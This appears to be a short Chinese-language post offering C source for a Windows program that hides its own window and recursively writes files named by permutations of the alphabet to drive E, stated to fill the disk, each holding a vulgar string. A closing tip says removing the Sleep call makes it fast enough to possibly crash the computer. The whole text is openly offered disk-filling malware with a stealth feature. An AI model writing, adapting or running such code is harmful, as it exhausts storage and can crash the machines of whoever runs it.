作用在E盘生成无数小文件填满硬盘
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
char x[50]="E:\\abcdefghijklmnopqrstuvwxyz.txt";//3 28
int f(int b)
{
int i,k;
if(b==28)
{
FILE *fp;
fp=fopen(x,"w");
fprintf(fp,"yes fuck");
fclose(fp);
Sleep(1000);
return 0;
}
for(i=b;i<=28;i++)
{
k=x[i];x[i]=x[b];x[b]=k;
f(b+1);
k=x[i];x[i]=x[b];x[b]=k;
}
return 0;
}
int main()
{
ShowWindow(GetForegroundWindow(),0);
f(3);
return 0;
}
若删除sleep语句,则速度大大加快,可能导致电脑崩溃